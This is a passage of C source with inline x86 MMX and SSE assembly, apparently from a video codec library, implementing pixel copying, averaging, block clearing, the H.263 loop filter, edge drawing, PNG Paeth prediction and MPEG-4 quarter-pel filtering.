%0, %%mm4 \n\t" "movq %1, %%mm6 \n\t" "movq %%mm4, %%mm5 \n\t" "punpcklbw %%mm7, %%mm4 \n\t" "punpckhbw %%mm7, %%mm5 \n\t" "paddsw %%mm4, %%mm0 \n\t" "paddsw %%mm5, %%mm1 \n\t" "movq %%mm6, %%mm5 \n\t" "punpcklbw %%mm7, %%mm6 \n\t" "punpckhbw %%mm7, %%mm5 \n\t" "paddsw %%mm6, %%mm2 \n\t" "paddsw %%mm5, %%mm3 \n\t" "packuswb %%mm1, %%mm0 \n\t" "packuswb %%mm3, %%mm2 \n\t" "movq %%mm0, %0 \n\t" "movq %%mm2, %1 \n\t" :"+m"(*pix), "+m"(*(pix+line_size)) :"r"(p) :"memory"); pix += line_size*2; p += 16; } while (--i); } static void put_pixels4_mmx(uint8_t *block, const uint8_t *pixels, int line_size, int h) { __asm__ volatile( "lea (%3, %3), %%"REG_a" \n\t" ASMALIGN(3) "1: \n\t" "movd (%1), %%mm0 \n\t" "movd (%1, %3), %%mm1 \n\t" "movd %%mm0, (%2) \n\t" "movd %%mm1, (%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "movd (%1), %%mm0 \n\t" "movd (%1, %3), %%mm1 \n\t" "movd %%mm0, (%2) \n\t" "movd %%mm1, (%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "subl $4, %0 \n\t" "jnz 1b \n\t" : "+g"(h), "+r" (pixels), "+r" (block) : "r"((x86_reg)line_size) : "%"REG_a, "memory" ); } static void put_pixels8_mmx(uint8_t *block, const uint8_t *pixels, int line_size, int h) { __asm__ volatile( "lea (%3, %3), %%"REG_a" \n\t" ASMALIGN(3) "1: \n\t" "movq (%1), %%mm0 \n\t" "movq (%1, %3), %%mm1 \n\t" "movq %%mm0, (%2) \n\t" "movq %%mm1, (%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "movq (%1), %%mm0 \n\t" "movq (%1, %3), %%mm1 \n\t" "movq %%mm0, (%2) \n\t" "movq %%mm1, (%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "subl $4, %0 \n\t" "jnz 1b \n\t" : "+g"(h), "+r" (pixels), "+r" (block) : "r"((x86_reg)line_size) : "%"REG_a, "memory" ); } static void put_pixels16_mmx(uint8_t *block, const uint8_t *pixels, int line_size, int h) { __asm__ volatile( "lea (%3, %3), %%"REG_a" \n\t" ASMALIGN(3) "1: \n\t" "movq (%1), %%mm0 \n\t" "movq 8(%1), %%mm4 \n\t" "movq (%1, %3), %%mm1 \n\t" "movq 8(%1, %3), %%mm5 \n\t" "movq %%mm0, (%2) \n\t" "movq %%mm4, 8(%2) \n\t" "movq %%mm1, (%2, %3) \n\t" "movq %%mm5, 8(%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "movq (%1), %%mm0 \n\t" "movq 8(%1), %%mm4 \n\t" "movq (%1, %3), %%mm1 \n\t" "movq 8(%1, %3), %%mm5 \n\t" "movq %%mm0, (%2) \n\t" "movq %%mm4, 8(%2) \n\t" "movq %%mm1, (%2, %3) \n\t" "movq %%mm5, 8(%2, %3) \n\t" "add %%"REG_a", %1 \n\t" "add %%"REG_a", %2 \n\t" "subl $4, %0 \n\t" "jnz 1b \n\t" : "+g"(h), "+r" (pixels), "+r" (block) : "r"((x86_reg)line_size) : "%"REG_a, "memory" ); } static void put_pixels16_sse2(uint8_t *block, const uint8_t *pixels, int line_size, int h) { __asm__ volatile( "1: \n\t" "movdqu (%1), %%xmm0 \n\t" "movdqu (%1,%3), %%xmm1 \n\t" "movdqu (%1,%3,2), %%xmm2 \n\t" "movdqu (%1,%4), %%xmm3 \n\t" "movdqa %%xmm0, (%2) \n\t" "movdqa %%xmm1, (%2,%3) \n\t" "movdqa %%xmm2, (%2,%3,2) \n\t" "movdqa %%xmm3, (%2,%4) \n\t" "subl $4, %0 \n\t" "lea (%1,%3,4), %1 \n\t" "lea (%2,%3,4), %2 \n\t" "jnz 1b \n\t" : "+g"(h), "+r" (pixels), "+r" (block) : "r"((x86_reg)line_size), "r"((x86_reg)3L*line_size) : "memory" ); } static void avg_pixels16_sse2(uint8_t *block, const uint8_t *pixels, int line_size, int h) { __asm__ volatile( "1: \n\t" "movdqu (%1), %%xmm0 \n\t" "movdqu (%1,%3), %%xmm1 \n\t" "movdqu (%1,%3,2), %%xmm2 \n\t" "movdqu (%1,%4), %%xmm3 \n\t" "pavgb (%2), %%xmm0 \n\t" "pavgb (%2,%3), %%xmm1 \n\t" "pavgb (%2,%3,2), %%xmm2 \n\t" "pavgb (%2,%4), %%xmm3 \n\t" "movdqa %%xmm0, (%2) \n\t" "movdqa %%xmm1, (%2,%3) \n\t" "movdqa %%xmm2, (%2,%3,2) \n\t" "movdqa %%xmm3, (%2,%4) \n\t" "subl $4, %0 \n\t" "lea (%1,%3,4), %1 \n\t" "lea (%2,%3,4), %2 \n\t" "jnz 1b \n\t" : "+g"(h), "+r" (pixels), "+r" (block) : "r"((x86_reg)line_size), "r"((x86_reg)3L*line_size) : "memory" ); } #define CLEAR_BLOCKS(name,n) \ static void name(DCTELEM *blocks)\ {\ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "mov %1, %%"REG_a" \n\t"\ "1: \n\t"\ "movq %%mm7, (%0, %%"REG_a") \n\t"\ "movq %%mm7, 8(%0, %%"REG_a") \n\t"\ "movq %%mm7, 16(%0, %%"REG_a") \n\t"\ "movq %%mm7, 24(%0, %%"REG_a") \n\t"\ "add $32, %%"REG_a" \n\t"\ " js 1b \n\t"\ : : "r" (((uint8_t *)blocks)+128*n),\ "i" (-128*n)\ : "%"REG_a\ );\ } CLEAR_BLOCKS(clear_blocks_mmx, 6) CLEAR_BLOCKS(clear_block_mmx, 1) static void clear_block_sse(DCTELEM *block) { __asm__ volatile( "xorps %%xmm0, %%xmm0 \n" "movaps %%xmm0, (%0) \n" "movaps %%xmm0, 16(%0) \n" "movaps %%xmm0, 32(%0) \n" "movaps %%xmm0, 48(%0) \n" "movaps %%xmm0, 64(%0) \n" "movaps %%xmm0, 80(%0) \n" "movaps %%xmm0, 96(%0) \n" "movaps %%xmm0, 112(%0) \n" :: "r"(block) : "memory" ); } static void clear_blocks_sse(DCTELEM *blocks) {\ __asm__ volatile( "xorps %%xmm0, %%xmm0 \n" "mov %1, %%"REG_a" \n" "1: \n" "movaps %%xmm0, (%0, %%"REG_a") \n" "movaps %%xmm0, 16(%0, %%"REG_a") \n" "movaps %%xmm0, 32(%0, %%"REG_a") \n" "movaps %%xmm0, 48(%0, %%"REG_a") \n" "movaps %%xmm0, 64(%0, %%"REG_a") \n" "movaps %%xmm0, 80(%0, %%"REG_a") \n" "movaps %%xmm0, 96(%0, %%"REG_a") \n" "movaps %%xmm0, 112(%0, %%"REG_a") \n" "add $128, %%"REG_a" \n" " js 1b \n" : : "r" (((uint8_t *)blocks)+128*6), "i" (-128*6) : "%"REG_a ); } static void add_bytes_mmx(uint8_t *dst, uint8_t *src, int w){ x86_reg i=0; __asm__ volatile( "jmp 2f \n\t" "1: \n\t" "movq (%1, %0), %%mm0 \n\t" "movq (%2, %0), %%mm1 \n\t" "paddb %%mm0, %%mm1 \n\t" "movq %%mm1, (%2, %0) \n\t" "movq 8(%1, %0), %%mm0 \n\t" "movq 8(%2, %0), %%mm1 \n\t" "paddb %%mm0, %%mm1 \n\t" "movq %%mm1, 8(%2, %0) \n\t" "add $16, %0 \n\t" "2: \n\t" "cmp %3, %0 \n\t" " js 1b \n\t" : "+r" (i) : "r"(src), "r"(dst), "r"((x86_reg)w-15) ); for(; i<w; i++) dst[i+0] += src[i+0]; } static void add_bytes_l2_mmx(uint8_t *dst, uint8_t *src1, uint8_t *src2, int w){ x86_reg i=0; __asm__ volatile( "jmp 2f \n\t" "1: \n\t" "movq (%2, %0), %%mm0 \n\t" "movq 8(%2, %0), %%mm1 \n\t" "paddb (%3, %0), %%mm0 \n\t" "paddb 8(%3, %0), %%mm1 \n\t" "movq %%mm0, (%1, %0) \n\t" "movq %%mm1, 8(%1, %0) \n\t" "add $16, %0 \n\t" "2: \n\t" "cmp %4, %0 \n\t" " js 1b \n\t" : "+r" (i) : "r"(dst), "r"(src1), "r"(src2), "r"((x86_reg)w-15) ); for(; i<w; i++) dst[i] = src1[i] + src2[i]; } #if HAVE_7REGS && HAVE_TEN_OPERANDS static void add_hfyu_median_prediction_cmov(uint8_t *dst, const uint8_t *top, const uint8_t *diff, int w, int *left, int *left_top) { x86_reg w2 = -w; x86_reg x; int l = *left & 0xff; int tl = *left_top & 0xff; int t; __asm__ volatile( "mov %7, %3 \n" "1: \n" "movzx (%3,%4), %2 \n" "mov %2, %k3 \n" "sub %b1, %b3 \n" "add %b0, %b3 \n" "mov %2, %1 \n" "cmp %0, %2 \n" "cmovg %0, %2 \n" "cmovg %1, %0 \n" "cmp %k3, %0 \n" "cmovg %k3, %0 \n" "mov %7, %3 \n" "cmp %2, %0 \n" "cmovl %2, %0 \n" "add (%6,%4), %b0 \n" "mov %b0, (%5,%4) \n" "inc %4 \n" "jl 1b \n" :"+&q"(l), "+&q"(tl), "=&r"(t), "=&q"(x), "+&r"(w2) :"r"(dst+w), "r"(diff+w), "rm"(top+w) ); *left = l; *left_top = tl; } #endif #define H263_LOOP_FILTER \ "pxor %%mm7, %%mm7 \n\t"\ "movq %0, %%mm0 \n\t"\ "movq %0, %%mm1 \n\t"\ "movq %3, %%mm2 \n\t"\ "movq %3, %%mm3 \n\t"\ "punpcklbw %%mm7, %%mm0 \n\t"\ "punpckhbw %%mm7, %%mm1 \n\t"\ "punpcklbw %%mm7, %%mm2 \n\t"\ "punpckhbw %%mm7, %%mm3 \n\t"\ "psubw %%mm2, %%mm0 \n\t"\ "psubw %%mm3, %%mm1 \n\t"\ "movq %1, %%mm2 \n\t"\ "movq %1, %%mm3 \n\t"\ "movq %2, %%mm4 \n\t"\ "movq %2, %%mm5 \n\t"\ "punpcklbw %%mm7, %%mm2 \n\t"\ "punpckhbw %%mm7, %%mm3 \n\t"\ "punpcklbw %%mm7, %%mm4 \n\t"\ "punpckhbw %%mm7, %%mm5 \n\t"\ "psubw %%mm2, %%mm4 \n\t"\ "psubw %%mm3, %%mm5 \n\t"\ "psllw $2, %%mm4 \n\t"\ "psllw $2, %%mm5 \n\t"\ "paddw %%mm0, %%mm4 \n\t"\ "paddw %%mm1, %%mm5 \n\t"\ "pxor %%mm6, %%mm6 \n\t"\ "pcmpgtw %%mm4, %%mm6 \n\t"\ "pcmpgtw %%mm5, %%mm7 \n\t"\ "pxor %%mm6, %%mm4 \n\t"\ "pxor %%mm7, %%mm5 \n\t"\ "psubw %%mm6, %%mm4 \n\t"\ "psubw %%mm7, %%mm5 \n\t"\ "psrlw $3, %%mm4 \n\t"\ "psrlw $3, %%mm5 \n\t"\ "packuswb %%mm5, %%mm4 \n\t"\ "packsswb %%mm7, %%mm6 \n\t"\ "pxor %%mm7, %%mm7 \n\t"\ "movd %4, %%mm2 \n\t"\ "punpcklbw %%mm2, %%mm2 \n\t"\ "punpcklbw %%mm2, %%mm2 \n\t"\ "punpcklbw %%mm2, %%mm2 \n\t"\ "psubusb %%mm4, %%mm2 \n\t"\ "movq %%mm2, %%mm3 \n\t"\ "psubusb %%mm4, %%mm3 \n\t"\ "psubb %%mm3, %%mm2 \n\t"\ "movq %1, %%mm3 \n\t"\ "movq %2, %%mm4 \n\t"\ "pxor %%mm6, %%mm3 \n\t"\ "pxor %%mm6, %%mm4 \n\t"\ "paddusb %%mm2, %%mm3 \n\t"\ "psubusb %%mm2, %%mm4 \n\t"\ "pxor %%mm6, %%mm3 \n\t"\ "pxor %%mm6, %%mm4 \n\t"\ "paddusb %%mm2, %%mm2 \n\t"\ "packsswb %%mm1, %%mm0 \n\t"\ "pcmpgtb %%mm0, %%mm7 \n\t"\ "pxor %%mm7, %%mm0 \n\t"\ "psubb %%mm7, %%mm0 \n\t"\ "movq %%mm0, %%mm1 \n\t"\ "psubusb %%mm2, %%mm0 \n\t"\ "psubb %%mm0, %%mm1 \n\t"\ "pand %5, %%mm1 \n\t"\ "psrlw $2, %%mm1 \n\t"\ "pxor %%mm7, %%mm1 \n\t"\ "psubb %%mm7, %%mm1 \n\t"\ "movq %0, %%mm5 \n\t"\ "movq %3, %%mm6 \n\t"\ "psubb %%mm1, %%mm5 \n\t"\ "paddb %%mm1, %%mm6 \n\t" static void h263_v_loop_filter_mmx(uint8_t *src, int stride, int qscale){ if(CONFIG_H263_DECODER || CONFIG_H263_ENCODER) { const int strength= ff_h263_loop_filter_strength[qscale]; __asm__ volatile( H263_LOOP_FILTER "movq %%mm3, %1 \n\t" "movq %%mm4, %2 \n\t" "movq %%mm5, %0 \n\t" "movq %%mm6, %3 \n\t" : "+m" (*(uint64_t*)(src - 2*stride)), "+m" (*(uint64_t*)(src - 1*stride)), "+m" (*(uint64_t*)(src + 0*stride)), "+m" (*(uint64_t*)(src + 1*stride)) : "g" (2*strength), "m"(ff_pb_FC) ); } } static inline void transpose4x4(uint8_t *dst, uint8_t *src, int dst_stride, int src_stride){ __asm__ volatile( //FIXME could save 1 instruction if done as 8x4 ... "movd %4, %%mm0 \n\t" "movd %5, %%mm1 \n\t" "movd %6, %%mm2 \n\t" "movd %7, %%mm3 \n\t" "punpcklbw %%mm1, %%mm0 \n\t" "punpcklbw %%mm3, %%mm2 \n\t" "movq %%mm0, %%mm1 \n\t" "punpcklwd %%mm2, %%mm0 \n\t" "punpckhwd %%mm2, %%mm1 \n\t" "movd %%mm0, %0 \n\t" "punpckhdq %%mm0, %%mm0 \n\t" "movd %%mm0, %1 \n\t" "movd %%mm1, %2 \n\t" "punpckhdq %%mm1, %%mm1 \n\t" "movd %%mm1, %3 \n\t" : "=m" (*(uint32_t*)(dst + 0*dst_stride)), "=m" (*(uint32_t*)(dst + 1*dst_stride)), "=m" (*(uint32_t*)(dst + 2*dst_stride)), "=m" (*(uint32_t*)(dst + 3*dst_stride)) : "m" (*(uint32_t*)(src + 0*src_stride)), "m" (*(uint32_t*)(src + 1*src_stride)), "m" (*(uint32_t*)(src + 2*src_stride)), "m" (*(uint32_t*)(src + 3*src_stride)) ); } static void h263_h_loop_filter_mmx(uint8_t *src, int stride, int qscale){ if(CONFIG_H263_DECODER || CONFIG_H263_ENCODER) { const int strength= ff_h263_loop_filter_strength[qscale]; DECLARE_ALIGNED(8, uint64_t, temp)[4]; uint8_t *btemp= (uint8_t*)temp; src -= 2; transpose4x4(btemp , src , 8, stride); transpose4x4(btemp+4, src + 4*stride, 8, stride); __asm__ volatile( H263_LOOP_FILTER // 5 3 4 6 : "+m" (temp[0]), "+m" (temp[1]), "+m" (temp[2]), "+m" (temp[3]) : "g" (2*strength), "m"(ff_pb_FC) ); __asm__ volatile( "movq %%mm5, %%mm1 \n\t" "movq %%mm4, %%mm0 \n\t" "punpcklbw %%mm3, %%mm5 \n\t" "punpcklbw %%mm6, %%mm4 \n\t" "punpckhbw %%mm3, %%mm1 \n\t" "punpckhbw %%mm6, %%mm0 \n\t" "movq %%mm5, %%mm3 \n\t" "movq %%mm1, %%mm6 \n\t" "punpcklwd %%mm4, %%mm5 \n\t" "punpcklwd %%mm0, %%mm1 \n\t" "punpckhwd %%mm4, %%mm3 \n\t" "punpckhwd %%mm0, %%mm6 \n\t" "movd %%mm5, (%0) \n\t" "punpckhdq %%mm5, %%mm5 \n\t" "movd %%mm5, (%0,%2) \n\t" "movd %%mm3, (%0,%2,2) \n\t" "punpckhdq %%mm3, %%mm3 \n\t" "movd %%mm3, (%0,%3) \n\t" "movd %%mm1, (%1) \n\t" "punpckhdq %%mm1, %%mm1 \n\t" "movd %%mm1, (%1,%2) \n\t" "movd %%mm6, (%1,%2,2) \n\t" "punpckhdq %%mm6, %%mm6 \n\t" "movd %%mm6, (%1,%3) \n\t" :: "r" (src), "r" (src + 4*stride), "r" ((x86_reg) stride ), "r" ((x86_reg)(3*stride)) ); } } /* draw the edges of width 'w' of an image of size width, height this mmx version can only handle w==8 || w==16 */ static void draw_edges_mmx(uint8_t *buf, int wrap, int width, int height, int w) { uint8_t *ptr, *last_line; int i; last_line = buf + (height - 1) * wrap; /* left and right */ ptr = buf; if(w==8) { __asm__ volatile( "1: \n\t" "movd (%0), %%mm0 \n\t" "punpcklbw %%mm0, %%mm0 \n\t" "punpcklwd %%mm0, %%mm0 \n\t" "punpckldq %%mm0, %%mm0 \n\t" "movq %%mm0, -8(%0) \n\t" "movq -8(%0, %2), %%mm1 \n\t" "punpckhbw %%mm1, %%mm1 \n\t" "punpckhwd %%mm1, %%mm1 \n\t" "punpckhdq %%mm1, %%mm1 \n\t" "movq %%mm1, (%0, %2) \n\t" "add %1, %0 \n\t" "cmp %3, %0 \n\t" " jb 1b \n\t" : "+r" (ptr) : "r" ((x86_reg)wrap), "r" ((x86_reg)width), "r" (ptr + wrap*height) ); } else { __asm__ volatile( "1: \n\t" "movd (%0), %%mm0 \n\t" "punpcklbw %%mm0, %%mm0 \n\t" "punpcklwd %%mm0, %%mm0 \n\t" "punpckldq %%mm0, %%mm0 \n\t" "movq %%mm0, -8(%0) \n\t" "movq %%mm0, -16(%0) \n\t" "movq -8(%0, %2), %%mm1 \n\t" "punpckhbw %%mm1, %%mm1 \n\t" "punpckhwd %%mm1, %%mm1 \n\t" "punpckhdq %%mm1, %%mm1 \n\t" "movq %%mm1, (%0, %2) \n\t" "movq %%mm1, 8(%0, %2) \n\t" "add %1, %0 \n\t" "cmp %3, %0 \n\t" " jb 1b \n\t" : "+r" (ptr) : "r" ((x86_reg)wrap), "r" ((x86_reg)width), "r" (ptr + wrap*height) ); } for(i=0;i<w;i+=4) { /* top and bottom (and hopefully also the corners) */ ptr= buf - (i + 1) * wrap - w; __asm__ volatile( "1: \n\t" "movq (%1, %0), %%mm0 \n\t" "movq %%mm0, (%0) \n\t" "movq %%mm0, (%0, %2) \n\t" "movq %%mm0, (%0, %2, 2) \n\t" "movq %%mm0, (%0, %3) \n\t" "add $8, %0 \n\t" "cmp %4, %0 \n\t" " jb 1b \n\t" : "+r" (ptr) : "r" ((x86_reg)buf - (x86_reg)ptr - w), "r" ((x86_reg)-wrap), "r" ((x86_reg)-wrap*3), "r" (ptr+width+2*w) ); ptr= last_line + (i + 1) * wrap - w; __asm__ volatile( "1: \n\t" "movq (%1, %0), %%mm0 \n\t" "movq %%mm0, (%0) \n\t" "movq %%mm0, (%0, %2) \n\t" "movq %%mm0, (%0, %2, 2) \n\t" "movq %%mm0, (%0, %3) \n\t" "add $8, %0 \n\t" "cmp %4, %0 \n\t" " jb 1b \n\t" : "+r" (ptr) : "r" ((x86_reg)last_line - (x86_reg)ptr - w), "r" ((x86_reg)wrap), "r" ((x86_reg)wrap*3), "r" (ptr+width+2*w) ); } } #define PAETH(cpu, abs3)\ static void add_png_paeth_prediction_##cpu(uint8_t *dst, uint8_t *src, uint8_t *top, int w, int bpp)\ {\ x86_reg i = -bpp;\ x86_reg end = w-3;\ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n"\ "movd (%1,%0), %%mm0 \n"\ "movd (%2,%0), %%mm1 \n"\ "punpcklbw %%mm7, %%mm0 \n"\ "punpcklbw %%mm7, %%mm1 \n"\ "add %4, %0 \n"\ "1: \n"\ "movq %%mm1, %%mm2 \n"\ "movd (%2,%0), %%mm1 \n"\ "movq %%mm2, %%mm3 \n"\ "punpcklbw %%mm7, %%mm1 \n"\ "movq %%mm2, %%mm4 \n"\ "psubw %%mm1, %%mm3 \n"\ "psubw %%mm0, %%mm4 \n"\ "movq %%mm3, %%mm5 \n"\ "paddw %%mm4, %%mm5 \n"\ abs3\ "movq %%mm4, %%mm6 \n"\ "pminsw %%mm5, %%mm6 \n"\ "pcmpgtw %%mm6, %%mm3 \n"\ "pcmpgtw %%mm5, %%mm4 \n"\ "movq %%mm4, %%mm6 \n"\ "pand %%mm3, %%mm4 \n"\ "pandn %%mm3, %%mm6 \n"\ "pandn %%mm0, %%mm3 \n"\ "movd (%3,%0), %%mm0 \n"\ "pand %%mm1, %%mm6 \n"\ "pand %%mm4, %%mm2 \n"\ "punpcklbw %%mm7, %%mm0 \n"\ "movq %6, %%mm5 \n"\ "paddw %%mm6, %%mm0 \n"\ "paddw %%mm2, %%mm3 \n"\ "paddw %%mm3, %%mm0 \n"\ "pand %%mm5, %%mm0 \n"\ "movq %%mm0, %%mm3 \n"\ "packuswb %%mm3, %%mm3 \n"\ "movd %%mm3, (%1,%0) \n"\ "add %4, %0 \n"\ "cmp %5, %0 \n"\ "jle 1b \n"\ :"+r"(i)\ :"r"(dst), "r"(top), "r"(src), "r"((x86_reg)bpp), "g"(end),\ "m"(ff_pw_255)\ :"memory"\ );\ } #define ABS3_MMX2\ "psubw %%mm5, %%mm7 \n"\ "pmaxsw %%mm7, %%mm5 \n"\ "pxor %%mm6, %%mm6 \n"\ "pxor %%mm7, %%mm7 \n"\ "psubw %%mm3, %%mm6 \n"\ "psubw %%mm4, %%mm7 \n"\ "pmaxsw %%mm6, %%mm3 \n"\ "pmaxsw %%mm7, %%mm4 \n"\ "pxor %%mm7, %%mm7 \n" #define ABS3_SSSE3\ "pabsw %%mm3, %%mm3 \n"\ "pabsw %%mm4, %%mm4 \n"\ "pabsw %%mm5, %%mm5 \n" PAETH(mmx2, ABS3_MMX2) #if HAVE_SSSE3 PAETH(ssse3, ABS3_SSSE3) #endif #define QPEL_V_LOW(m3,m4,m5,m6, pw_20, pw_3, rnd, in0, in1, in2, in7, out, OP)\ "paddw " #m4 ", " #m3 " \n\t" /* x1 */\ "movq "MANGLE(ff_pw_20)", %%mm4 \n\t" /* 20 */\ "pmullw " #m3 ", %%mm4 \n\t" /* 20x1 */\ "movq "#in7", " #m3 " \n\t" /* d */\ "movq "#in0", %%mm5 \n\t" /* D */\ "paddw " #m3 ", %%mm5 \n\t" /* x4 */\ "psubw %%mm5, %%mm4 \n\t" /* 20x1 - x4 */\ "movq "#in1", %%mm5 \n\t" /* C */\ "movq "#in2", %%mm6 \n\t" /* B */\ "paddw " #m6 ", %%mm5 \n\t" /* x3 */\ "paddw " #m5 ", %%mm6 \n\t" /* x2 */\ "paddw %%mm6, %%mm6 \n\t" /* 2x2 */\ "psubw %%mm6, %%mm5 \n\t" /* -2x2 + x3 */\ "pmullw "MANGLE(ff_pw_3)", %%mm5 \n\t" /* -6x2 + 3x3 */\ "paddw " #rnd ", %%mm4 \n\t" /* x2 */\ "paddw %%mm4, %%mm5 \n\t" /* 20x1 - 6x2 + 3x3 - x4 */\ "psraw $5, %%mm5 \n\t"\ "packuswb %%mm5, %%mm5 \n\t"\ OP(%%mm5, out, %%mm7, d) #define QPEL_BASE(OPNAME, ROUNDER, RND, OP_MMX2, OP_3DNOW)\ static void OPNAME ## mpeg4_qpel16_h_lowpass_mmx2(uint8_t *dst, uint8_t *src, int dstStride, int srcStride, int h){\ uint64_t temp;\ \ __asm__ volatile(\ "pxor %%mm7, %%mm7 \n\t"\ "1: \n\t"\ "movq (%0), %%mm0 \n\t" /* ABCDEFGH */\ "movq %%mm0, %%mm1 \n\t" /* ABCDEFGH */\ "movq %%mm0, %%mm2 \n\t" /* ABCDEFGH */\ "punpcklbw %%mm7, %%mm0 \n\t" /* 0A0B0C0D */\ "punpckhbw %%mm7, %%mm1 \n\t" /* 0E0F0G0H */\ "pshufw $0x90, %%mm0, %%mm5 \n\t" /* 0A0A0B0C */\ "pshufw $0x41, %%mm0, %%mm6 \n\t" /* 0B0A0A0B */\ "movq %%mm2, %%mm3 \n\t" /* ABCDEFGH */\ "movq %%mm2, %%mm4 \n\t" /* ABCDEFGH */\ "psllq $8, %%mm2 \n\t" /* 0ABCDEFG */\ "psllq $16, %%mm3 \n\t" /* 00ABCDEF */\ "psllq $24, %%mm4 \n\t" /* 000ABCDE */\ "punpckhbw %%mm7, %%mm2 \n\t" /* 0D0E0F0G */\ "punpckhbw %%mm7, %%mm3 \n\t" /* 0C0D0E0F */\ "punpckhbw %%mm7, %%mm4 \n\t" /* 0B0C0D0E */\ "paddw %%mm3, %%mm5 \n\t" /* b */\ "paddw %%mm2, %%mm6 \n\t" /* c */\ "paddw %%mm5, %%mm5 \n\t" /* 2b */\ "psubw %%mm5, %%mm6 \n\t" /* c - 2b */\ "pshufw $0x06, %%mm0, %%mm5 \n\t" /* 0C0B0A0A */\ "pmullw "MANGLE(ff_pw_3)", %%mm6 \n\t" /* 3c - 6b */\ "paddw %%mm4, %%mm0 \n\t" /* a */\ "paddw %%mm1, %%mm5 \n\t" /* d */\ "pmullw "MANGLE(ff_pw_20)", %%mm0 \n\t" /* 20a */\ "psubw %%mm5, %%mm0 \n\t" /* 20a - d */\ "paddw %6, %%mm6 \n\t"\ "paddw %%mm6, %%mm0 \n\t" /* 20a - 6b + 3c - d */\ "psraw $5, %%mm0 \n\t"\ "movq %%mm0, %5 \n\t"\ /* mm1=EFGH, mm2=DEFG, mm3=CDEF, mm4=BCDE, mm7=0 */\ \ "movq 5(%0), %%mm0 \n\t" /* FGHIJKLM */\ "movq %%mm0, %%mm5 \n\t" /* FGHIJKLM */\ "movq %%mm0, %%mm6 \n\t" /* FGHIJKLM */\ "psrlq $8, %%mm0 \n\t" /* GHIJKLM0 */\ "psrlq $16, %%mm5 \n\t" /* HIJKLM00 */\ "punpcklbw %%mm7, %%mm0 \n\t" /* 0G0H0I0J */\ "punpcklbw %%mm7, %%mm5 \n\t" /* 0H0I0J0K */\ "paddw %%mm0, %%mm2 \n\t" /* b */\ "paddw %%mm5, %%mm3 \n\t" /* c */\ "paddw %%mm2, %%mm2 \n\t" /* 2b */\ "psubw %%mm2, %%mm3 \n\t" /* c - 2b */\ "movq %%mm6, %%mm2 \n\t" /* FGHIJKLM */\ "psrlq $24, %%mm6 \n\t" /* IJKLM000 */\ "punpcklbw %%mm7, %%mm2 \n\t" /* 0F0G0H0I */\ "punpcklbw %%mm7, %%mm6 \n\t" /* 0I0J0K0L */\ "pmullw "MANGLE(ff_pw_3)", %%mm3 \n\t" /* 3c - 6b */\ "paddw %%mm2, %%mm1 \n\t" /* a */\ "paddw %%mm6, %%mm4 \n\t" /* d */\ "pmullw "MANGLE(ff_pw_20)", %%mm1 \n\t" /* 20a */\ "psubw %%mm4, %%mm3 \n\t" /* - 6b +3c - d */\ "paddw %6, %%mm1 \n\t"\ "paddw %%mm1, %%mm3 \n\t" /* 20a - 6b +3c - d */\ "psraw $5, %%mm3 \n\t"\ "movq %5, %%mm1 \n\t"\ "packuswb %%mm3, %%mm1 \n\t"\ OP_MMX2(%%mm1, (%1),%%mm4, q)\ /* mm0= GHIJ, mm2=FGHI, mm5=HIJK, mm6=IJKL, mm7=0 */\ \ "movq 9(%0), %%mm1 \n\t" /* JKLMNOPQ */\ "movq %%mm1, %%mm4 \n\t" /* JKLMNOPQ */\ "movq %%mm1, %%mm3 \n\t" /* JKLMNOPQ */\ "psrlq $8, %%mm1 \n\t" /* KLMNOPQ0 */\ "psrlq $16, %%mm4 \n\t" /* LMNOPQ00 */\ "punpcklbw %%mm7, %%mm1 \n\t" /* 0K0L0M0N */\ "punpcklbw %%mm7, %%mm4 \n\t" /* 0L0M0N0O */\ "paddw %%mm1, %%mm5 \n\t" /* b */\ "paddw %%mm4, %%mm0 \n\t" /* c */\ "paddw %%mm5, %%mm5 \n\t" /* 2b */\ "psubw %%mm5, %%mm0 \n\t" /* c - 2b */\ "movq %%mm3, %%mm5 \n\t" /* JKLMNOPQ */\ "psrlq $24, %%mm3 \n\t" /* MNOPQ000 */\ "pmullw "MANGLE(ff_pw_3)", %%mm0 \n\t" /* 3c - 6b */\ "punpcklbw %%mm7, %%mm3 \n\t" /* 0M0N0O0P */\ "paddw %%mm3, %%mm2 \n\t" /* d */\ "psubw %%mm2, %%mm0 \n\t" /* -6b + 3c - d */\ "movq %%mm5, %%mm2 \n\t" /* JKLMNOPQ */\ "punpcklbw %%mm7, %%mm2 \n\t" /* 0J0K0L0M */\ "punpckhbw %%mm7, %%mm5 \n\t" /* 0N0O0P0Q */\ "paddw %%mm2, %%mm6 \n\t" /* a */\ "pmullw "MANGLE(ff_pw_20)", %%mm6 \n\t" /* 20a */\ "paddw %6, %%mm0 \n\t"\ "paddw %%mm6, %%mm0 \n\t" /* 20a - 6b + 3c - d */\ "psraw $5, %%mm0 \n\t"\ /* mm1=KLMN, mm2=JKLM, mm3=MNOP, mm4=LMNO, mm5=NOPQ mm7=0 */\ \ "paddw %%mm5, %%mm3 \n\t" /* a */\ "pshufw $0xF9, %%mm5, %%mm6 \n\t" /* 0O0P0Q0Q */\ "paddw %%mm4, %%mm6 \n\t" /* b */\ "pshufw $0xBE, %%mm5, %%mm4 \n\t" /* 0P0Q0Q0P */\ "pshufw $0x6F, %%mm5, %%mm5 \n\t" /* 0Q0Q0P0O */\ "paddw %%mm1, %%mm4 \n\t" /* c */\ "paddw %%mm2, %%mm5 \n\t" /* d */\ "paddw %%mm6, %%mm6 \n\t" /* 2b */\ "psubw %%mm6, %%mm4 \n\t" /* c - 2b */\ "pmullw "MANGLE(ff_pw_20)", %%mm3 \n\t" /* 20a */\ "pmullw "MANGLE(ff_pw_3)", %%mm4 \n\t" /* 3c - 6b */\ "psubw %%mm5, %%mm3 \n\t" /* -6b + 3c - d */\ "paddw %6, %%mm4 \n\t"\ "paddw %%mm3, %%mm4 \n\t" /* 20a - 6b + 3c - d */\ "psraw $5, %%mm4 \n\t"\ "packuswb %%mm4, %%mm0 \n\t"\ OP_MMX2(%%mm0, 8(%1), %%mm4, q)\ \ "add %3, %0 \n\t"\ "add %4, %1 